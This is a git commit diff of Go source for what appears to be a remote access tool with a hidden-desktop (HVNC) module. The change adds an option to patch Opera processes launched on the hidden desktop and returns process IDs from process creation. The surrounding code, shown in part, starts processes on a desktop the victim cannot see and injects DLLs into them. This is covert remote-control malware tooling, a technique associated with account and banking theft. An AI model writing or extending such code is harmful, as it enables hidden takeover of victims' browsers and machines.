let users opera patch everything and add hiding to nav bar

This commit is contained in:
KingKDot
2026-04-17 18:43:16 -05:00
parent 4a062e3a19
commit d41607782a
11 changed files with 223 additions and 21 deletions
@@ -27,7 +27,7 @@ func HVNCMonitorCount() int {
return 0
}
func StartHVNCProcess(filePath string) error {
func StartHVNCProcess(filePath string, operaPatch bool) error {
return errors.New("HVNC not supported on this platform")
}
@@ -479,7 +479,7 @@ func ensureHVNCThread() error {
var result hvncTaskResult
switch task.kind {
case hvncTaskStartProcess:
result.err = startHVNCProcessOnThread(task.filePath)
result.pid, result.err = startHVNCProcessOnThread(task.filePath)
case hvncTaskStartProcessInjected:
result.pid, result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath)
case hvncTaskMouseMove:
@@ -535,7 +535,7 @@ func hvncCaptureDisplay(display int) (*image.RGBA, error) {
return result.img, result.err
}
func StartHVNCProcess(filePath string) error {
func StartHVNCProcess(filePath string, operaPatch bool) error {
if filePath == "" {
return fmt.Errorf("empty file path")
}
@@ -546,7 +546,13 @@ func StartHVNCProcess(filePath string) error {
if err != nil {
return err
}
return result.err
if result.err != nil {
return result.err
}
if operaPatch && result.pid != 0 {
go patchOperaAsync(result.pid, 5, 2*time.Second)
}
return nil
}
func HVNCAutoStartExplorer() error {
@@ -863,18 +869,18 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
return img, nil
}
func startHVNCProcessOnThread(filePath string) error {
func startHVNCProcessOnThread(filePath string) (uint32, error) {
if filePath == "" {
return fmt.Errorf("empty file path")
return 0, fmt.Errorf("empty file path")
}
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
if err != nil {
return fmt.Errorf("failed to convert desktop name: %v", err)
return 0, fmt.Errorf("failed to convert desktop name: %v", err)
}
cmdLine, err := syscall.UTF16FromString(filePath)
if err != nil {
return fmt.Errorf("failed to convert command line: %v", err)
return 0, fmt.Errorf("failed to convert command line: %v", err)
}
var si startupInfo
var pi processInformation
@@ -898,11 +904,11 @@ func startHVNCProcessOnThread(filePath string) error {
)
if ret == 0 {
if callErr != nil {
return fmt.Errorf("CreateProcess failed: %v", callErr)
return 0, fmt.Errorf("CreateProcess failed: %v", callErr)
}
return fmt.Errorf("CreateProcess failed")
return 0, fmt.Errorf("CreateProcess failed")
}
return nil
return pi.dwProcessId, nil
}
func hvncAutoStartExplorerOnThread() error {
@@ -917,7 +923,7 @@ func hvncAutoStartExplorerOnThread() error {
}
log.Printf("hvnc: no explorer.exe found on HVNC desktop, starting explorer.exe")
err := startHVNCProcessOnThread("explorer.exe")
_, err := startHVNCProcessOnThread("explorer.exe")
if err != nil {
return fmt.Errorf("auto-start explorer failed: %w", err)
}